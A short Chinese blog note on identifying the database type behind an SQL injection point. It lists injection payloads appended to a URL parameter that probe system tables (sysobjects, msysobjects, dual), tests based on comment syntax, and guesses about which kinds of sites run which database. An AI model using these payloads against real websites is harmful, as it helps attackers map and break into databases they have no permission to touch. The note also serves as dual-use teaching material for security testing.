首页
JAVA笔记
数据库笔记
混乱记忆
小站记
您现在的位置
SQL 注入 数据库类型判断
简介: 在注入点判断数据库类型

通过系统表判断

(当前示例为字符串注入点)

  1. sqlserver
    http://www.xiaoyunduo.org?article=10‘ and exists (select * from sysobjects) and '1'='1
  2. access
    http://www.xiaoyunduo.org?article=10‘ and exists (select * from msysobjects) and '1'='1
  3. oracle
    http://www.xiaoyunduo.org?article=10‘ and exists (select * from dual) and '1'='1

通过注释判断
(当前示例为数值注入点)

  1. mysql,sqlserve,oracle,db2均支持 --  行注释 和 /* 小云朵 */ 多行注释,只有 access 不支持
  2. 使用;-- 可以排除 oracle
 

注意:如果注入点在子查询中使用 -- 注释时可能会影响判断,另外db2一般使用在金融行业项目中,所以不常见。移动电信网站使用 oracle 居多。php 和 jsp 网站以 mysql 居多,asp 网站以 access 居多。